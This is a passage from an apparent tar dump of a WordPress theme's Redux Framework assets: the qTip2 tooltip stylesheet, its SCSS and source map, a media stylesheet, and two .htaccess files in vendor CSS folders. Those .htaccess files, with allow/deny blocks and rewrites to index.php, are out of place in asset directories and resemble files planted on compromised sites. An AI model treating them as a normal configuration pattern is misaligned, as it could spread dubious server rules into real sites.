#ebebeb;-webkit-border-radius:5px 5px 0 0;-moz-border-radius:5px 5px 0 0;border-radius:5px 5px 0 0}.qtip-bootstrap .qtip-titlebar .qtip-close{right:11px;top:45%;border-style:none}.qtip-bootstrap .qtip-content{padding:9px 14px}.qtip-bootstrap .qtip-icon{background:transparent}.qtip-bootstrap .qtip-icon .ui-icon{width:auto;height:auto;float:right;font-size:20px;font-weight:bold;line-height:18px;color:#000;text-shadow:0 1px 0 #fff;opacity:.2;filter:alpha(opacity=20)}.qtip-bootstrap .qtip-icon .ui-icon:hover{color:#000;text-decoration:none;cursor:pointer;opacity:.4;filter:alpha(opacity=40)}.qtip:not(.ie9haxors) div.qtip-content,.qtip:not(.ie9haxors) div.qtip-titlebar{filter:none;-ms-filter:none}.qtip .qtip-tip{margin:0 auto;overflow:hidden;z-index:10}x:-o-prefocus,.qtip .qtip-tip{visibility:hidden}.qtip .qtip-tip,.qtip .qtip-tip .qtip-vml,.qtip .qtip-tip canvas{position:absolute;color:#123456;background:transparent;border:0 dashed transparent}.qtip .qtip-tip canvas{top:0;left:0}.qtip .qtip-tip .qtip-vml{behavior:url(#default#VML);display:inline-block;visibility:visible}#qtip-overlay{position:fixed;left:0;top:0;width:100%;height:100%}#qtip-overlay.blurs{cursor:pointer}#qtip-overlay div{position:absolute;left:0;top:0;width:100%;height:100%;background-color:black;opacity:.7;filter:alpha(opacity=70);-ms-filter:"alpha(opacity=70)"}.qtipmodal-ie6fix{position:absolute !important}lib/redux-framework/assets/css/vendor/qtip/jquery.qtip.scss000064400000031570147206624460020211 0ustar00/* * qTip2 - Pretty powerful tooltips - v2.2.1 * http://qtip2.com * * Copyright (c) 2014 * Released under the MIT licenses * http://jquery.org/license * * Date: Sat Sep 6 2014 11:12 GMT+0100+0100 * Plugins: tips modal viewport svg imagemap ie6 * Styles: core basic css3 */ .qtip{ position: absolute; left: -28000px; top: -28000px; display: none; max-width: 280px; min-width: 50px; font-size: 10.5px; line-height: 12px; direction: ltr; box-shadow: none; padding: 0; } .qtip-content{ position: relative; padding: 5px 9px; overflow: hidden; text-align: left; word-wrap: break-word; } .qtip-titlebar{ position: relative; padding: 5px 35px 5px 10px; overflow: hidden; border-width: 0 0 1px; font-weight: bold; } .qtip-titlebar + .qtip-content{ border-top-width: 0 !important; } /* Default close button class */ .qtip-close{ position: absolute; right: -9px; top: -9px; z-index: 11; /* Overlap .qtip-tip */ cursor: pointer; outline: medium none; border: 1px solid transparent; } .qtip-titlebar .qtip-close{ right: 4px; top: 50%; margin-top: -9px; } * html .qtip-titlebar .qtip-close{ top: 16px; } /* IE fix */ .qtip-titlebar .ui-icon, .qtip-icon .ui-icon{ display: block; text-indent: -1000em; direction: ltr; } .qtip-icon, .qtip-icon .ui-icon{ -moz-border-radius: 3px; -webkit-border-radius: 3px; border-radius: 3px; text-decoration: none; } .qtip-icon .ui-icon{ width: 18px; height: 14px; line-height: 14px; text-align: center; text-indent: 0; font: normal bold 10px/13px Tahoma,sans-serif; color: inherit; background: transparent none no-repeat -100em -100em; } /* Applied to 'focused' tooltips e.g. most recently displayed/interacted with */ .qtip-focus{} /* Applied on hover of tooltips i.e. added/removed on mouseenter/mouseleave respectively */ .qtip-hover{} /* Default tooltip style */ .qtip-default{ border: 1px solid #F1D031; background-color: #FFFFA3; color: #555; } .qtip-default .qtip-titlebar{ background-color: #FFEF93; } .qtip-default .qtip-icon{ border-color: #CCC; background: #F1F1F1; color: #777; } .qtip-default .qtip-titlebar .qtip-close{ border-color: #AAA; color: #111; } /*! Light tooltip style */ .qtip-light{ background-color: white; border-color: #E2E2E2; color: #454545; } .qtip-light .qtip-titlebar{ background-color: #f1f1f1; } /*! Dark tooltip style */ .qtip-dark{ background-color: #505050; border-color: #303030; color: #f3f3f3; } .qtip-dark .qtip-titlebar{ background-color: #404040; } .qtip-dark .qtip-icon{ border-color: #444; } .qtip-dark .qtip-titlebar .ui-state-hover{ border-color: #303030; } /*! Cream tooltip style */ .qtip-cream{ background-color: #FBF7AA; border-color: #F9E98E; color: #A27D35; } .qtip-cream .qtip-titlebar{ background-color: #F0DE7D; } .qtip-cream .qtip-close .qtip-icon{ background-position: -82px 0; } /*! Red tooltip style */ .qtip-red{ background-color: #F78B83; border-color: #D95252; color: #912323; } .qtip-red .qtip-titlebar{ background-color: #F06D65; } .qtip-red .qtip-close .qtip-icon{ background-position: -102px 0; } .qtip-red .qtip-icon{ border-color: #D95252; } .qtip-red .qtip-titlebar .ui-state-hover{ border-color: #D95252; } /*! Green tooltip style */ .qtip-green{ background-color: #CAED9E; border-color: #90D93F; color: #3F6219; } .qtip-green .qtip-titlebar{ background-color: #B0DE78; } .qtip-green .qtip-close .qtip-icon{ background-position: -42px 0; } /*! Blue tooltip style */ .qtip-blue{ background-color: #E5F6FE; border-color: #ADD9ED; color: #5E99BD; } .qtip-blue .qtip-titlebar{ background-color: #D0E9F5; } .qtip-blue .qtip-close .qtip-icon{ background-position: -2px 0; } .qtip-shadow{ -webkit-box-shadow: 1px 1px 3px 1px rgba(0, 0, 0, 0.15); -moz-box-shadow: 1px 1px 3px 1px rgba(0, 0, 0, 0.15); box-shadow: 1px 1px 3px 1px rgba(0, 0, 0, 0.15); } /* Add rounded corners to your tooltips in: FF3+, Chrome 2+, Opera 10.6+, IE9+, Safari 2+ */ .qtip-rounded, .qtip-tipsy, .qtip-bootstrap{ -moz-border-radius: 5px; -webkit-border-radius: 5px; border-radius: 5px; } .qtip-rounded .qtip-titlebar{ -moz-border-radius: 4px 4px 0 0; -webkit-border-radius: 4px 4px 0 0; border-radius: 4px 4px 0 0; } /* Youtube tooltip style */ .qtip-youtube{ -moz-border-radius: 2px; -webkit-border-radius: 2px; border-radius: 2px; -webkit-box-shadow: 0 0 3px #333; -moz-box-shadow: 0 0 3px #333; box-shadow: 0 0 3px #333; color: white; border: 0 solid transparent; background: #4A4A4A; background-image: -webkit-gradient(linear,left top,left bottom,color-stop(0,#4A4A4A),color-stop(100%,black)); background-image: -webkit-linear-gradient(top,#4A4A4A 0,black 100%); background-image: -moz-linear-gradient(top,#4A4A4A 0,black 100%); background-image: -ms-linear-gradient(top,#4A4A4A 0,black 100%); background-image: -o-linear-gradient(top,#4A4A4A 0,black 100%); } .qtip-youtube .qtip-titlebar{ background-color: #4A4A4A; background-color: rgba(0,0,0,0); } .qtip-youtube .qtip-content{ padding: .75em; font: 12px arial,sans-serif; filter: progid:DXImageTransform.Microsoft.Gradient(GradientType=0,StartColorStr=#4a4a4a,EndColorStr=#000000); -ms-filter: "progid:DXImageTransform.Microsoft.Gradient(GradientType=0,StartColorStr=#4a4a4a,EndColorStr=#000000);"; } .qtip-youtube .qtip-icon{ border-color: #222; } .qtip-youtube .qtip-titlebar .ui-state-hover{ border-color: #303030; } /* jQuery TOOLS Tooltip style */ .qtip-jtools{ background: #232323; background: rgba(0, 0, 0, 0.7); background-image: -webkit-gradient(linear, left top, left bottom, from(#717171), to(#232323)); background-image: -moz-linear-gradient(top, #717171, #232323); background-image: -webkit-linear-gradient(top, #717171, #232323); background-image: -ms-linear-gradient(top, #717171, #232323); background-image: -o-linear-gradient(top, #717171, #232323); border: 2px solid #ddd; border: 2px solid rgba(241,241,241,1); -moz-border-radius: 2px; -webkit-border-radius: 2px; border-radius: 2px; -webkit-box-shadow: 0 0 12px #333; -moz-box-shadow: 0 0 12px #333; box-shadow: 0 0 12px #333; } /* IE Specific */ .qtip-jtools .qtip-titlebar{ background-color: transparent; filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#717171,endColorstr=#4A4A4A); -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#717171,endColorstr=#4A4A4A)"; } .qtip-jtools .qtip-content{ filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#4A4A4A,endColorstr=#232323); -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#4A4A4A,endColorstr=#232323)"; } .qtip-jtools .qtip-titlebar, .qtip-jtools .qtip-content{ background: transparent; color: white; border: 0 dashed transparent; } .qtip-jtools .qtip-icon{ border-color: #555; } .qtip-jtools .qtip-titlebar .ui-state-hover{ border-color: #333; } /* Cluetip style */ .qtip-cluetip{ -webkit-box-shadow: 4px 4px 5px rgba(0, 0, 0, 0.4); -moz-box-shadow: 4px 4px 5px rgba(0, 0, 0, 0.4); box-shadow: 4px 4px 5px rgba(0, 0, 0, 0.4); background-color: #D9D9C2; color: #111; border: 0 dashed transparent; } .qtip-cluetip .qtip-titlebar{ background-color: #87876A; color: white; border: 0 dashed transparent; } .qtip-cluetip .qtip-icon{ border-color: #808064; } .qtip-cluetip .qtip-titlebar .ui-state-hover{ border-color: #696952; color: #696952; } /* Tipsy style */ .qtip-tipsy{ background: black; background: rgba(0, 0, 0, .87); color: white; border: 0 solid transparent; font-size: 11px; font-family: 'Lucida Grande', sans-serif; font-weight: bold; line-height: 16px; text-shadow: 0 1px black; } .qtip-tipsy .qtip-titlebar{ padding: 6px 35px 0 10px; background-color: transparent; } .qtip-tipsy .qtip-content{ padding: 6px 10px; } .qtip-tipsy .qtip-icon{ border-color: #222; text-shadow: none; } .qtip-tipsy .qtip-titlebar .ui-state-hover{ border-color: #303030; } /* Tipped style */ .qtip-tipped{ border: 3px solid #959FA9; -moz-border-radius: 3px; -webkit-border-radius: 3px; border-radius: 3px; background-color: #F9F9F9; color: #454545; font-weight: normal; font-family: serif; } .qtip-tipped .qtip-titlebar{ border-bottom-width: 0; color: white; background: #3A79B8; background-image: -webkit-gradient(linear, left top, left bottom, from(#3A79B8), to(#2E629D)); background-image: -webkit-linear-gradient(top, #3A79B8, #2E629D); background-image: -moz-linear-gradient(top, #3A79B8, #2E629D); background-image: -ms-linear-gradient(top, #3A79B8, #2E629D); background-image: -o-linear-gradient(top, #3A79B8, #2E629D); filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#3A79B8,endColorstr=#2E629D); -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#3A79B8,endColorstr=#2E629D)"; } .qtip-tipped .qtip-icon{ border: 2px solid #285589; background: #285589; } .qtip-tipped .qtip-icon .ui-icon{ background-color: #FBFBFB; color: #555; } /** * Twitter Bootstrap style. * * Tested with IE 8, IE 9, Chrome 18, Firefox 9, Opera 11. * Does not work with IE 7. */ .qtip-bootstrap{ /** Taken from Bootstrap body */ font-size: 14px; line-height: 20px; color: #333333; /** Taken from Bootstrap .popover */ padding: 1px; background-color: #ffffff; border: 1px solid #ccc; border: 1px solid rgba(0, 0, 0, 0.2); -webkit-border-radius: 6px; -moz-border-radius: 6px; border-radius: 6px; -webkit-box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2); -moz-box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2); box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2); -webkit-background-clip: padding-box; -moz-background-clip: padding; background-clip: padding-box; } .qtip-bootstrap .qtip-titlebar{ /** Taken from Bootstrap .popover-title */ padding: 8px 14px; margin: 0; font-size: 14px; font-weight: normal; line-height: 18px; background-color: #f7f7f7; border-bottom: 1px solid #ebebeb; -webkit-border-radius: 5px 5px 0 0; -moz-border-radius: 5px 5px 0 0; border-radius: 5px 5px 0 0; } .qtip-bootstrap .qtip-titlebar .qtip-close{ /** * Overrides qTip2: * .qtip-titlebar .qtip-close{ * [...] * right: 4px; * top: 50%; * [...] * border-style: solid; * } */ right: 11px; top: 45%; border-style: none; } .qtip-bootstrap .qtip-content{ /** Taken from Bootstrap .popover-content */ padding: 9px 14px; } .qtip-bootstrap .qtip-icon{ /** * Overrides qTip2: * .qtip-default .qtip-icon { * border-color: #CCC; * background: #F1F1F1; * color: #777; * } */ background: transparent; } .qtip-bootstrap .qtip-icon .ui-icon{ /** * Overrides qTip2: * .qtip-icon .ui-icon{ * width: 18px; * height: 14px; * } */ width: auto; height: auto; /* Taken from Bootstrap .close */ float: right; font-size: 20px; font-weight: bold; line-height: 18px; color: #000000; text-shadow: 0 1px 0 #ffffff; opacity: 0.2; filter: alpha(opacity=20); } .qtip-bootstrap .qtip-icon .ui-icon:hover{ /* Taken from Bootstrap .close:hover */ color: #000000; text-decoration: none; cursor: pointer; opacity: 0.4; filter: alpha(opacity=40); } /* IE9 fix - removes all filters */ .qtip:not(.ie9haxors) div.qtip-content, .qtip:not(.ie9haxors) div.qtip-titlebar{ filter: none; -ms-filter: none; } .qtip .qtip-tip{ margin: 0 auto; overflow: hidden; z-index: 10; } /* Opera bug #357 - Incorrect tip position https://github.com/Craga89/qTip2/issues/367 */ x:-o-prefocus, .qtip .qtip-tip{ visibility: hidden; } .qtip .qtip-tip, .qtip .qtip-tip .qtip-vml, .qtip .qtip-tip canvas{ position: absolute; color: #123456; background: transparent; border: 0 dashed transparent; } .qtip .qtip-tip canvas{ top: 0; left: 0; } .qtip .qtip-tip .qtip-vml{ behavior: url(#default#VML); display: inline-block; visibility: visible; } #qtip-overlay{ position: fixed; left: 0; top: 0; width: 100%; height: 100%; } /* Applied to modals with show.modal.blur set to true */ #qtip-overlay.blurs{ cursor: pointer; } /* Change opacity of overlay here */ #qtip-overlay div{ position: absolute; left: 0; top: 0; width: 100%; height: 100%; background-color: black; opacity: 0.7; filter:alpha(opacity=70); -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=70)"; } .qtipmodal-ie6fix{ position: absolute !important; }lib/redux-framework/assets/css/vendor/qtip/jquery.qtip.css.map000064400000016456147206624460020610 0ustar00{ "version": 3, "mappings": "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", "sources": ["jquery.qtip.scss"], "names": [], "file": "jquery.qtip.css" }lib/redux-framework/assets/css/vendor/qtip/.htaccess000064400000001626147206624460016616 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/assets/css/vendor/.htaccess000064400000001626147206624460015641 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/assets/css/media/media.css000064400000001650147206624460015413 0ustar00.redux-main .button.remove-image,.redux-main .removeCSS{margin-left:10px;color:#ef521d}.redux-main .button.remove-image:hover,.redux-main .removeCSS:hover{color:red}.redux-main .upload_button_div{margin-bottom:5px}.redux-main .upload-error{float:left;color:#666;font-size:10px;font-weight:bold;text-decoration:none;text-shadow:1px 1px 0 #FFFFFF;margin:0 10px 0 0;padding:3px 10px;background:#FFDFEC;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.redux-main .reset-button{font-family:Arial, Verdana, sans-serif;float:left;margin:0;color:#ef521d;border-color:#bbb}.redux-main .redux-option-image{max-height:340px;max-width:340px;padding:5px;margin-bottom:0;margin-top:10px;margin-right:15px;border:1px solid #e3e3e3;background:#f7f7f7;-moz-border-radius:3px;-khtml-border-radius:3px;-webkit-border-radius:3px;border-radius:3px}.redux-main .redux-main .upload{width:80% !important}.redux-main .button{margin-top:2px} lib/redux-framework/assets/css/media/media.css.map000064400000001637147206624460016174 0ustar00{ "version": 3, "mappings": 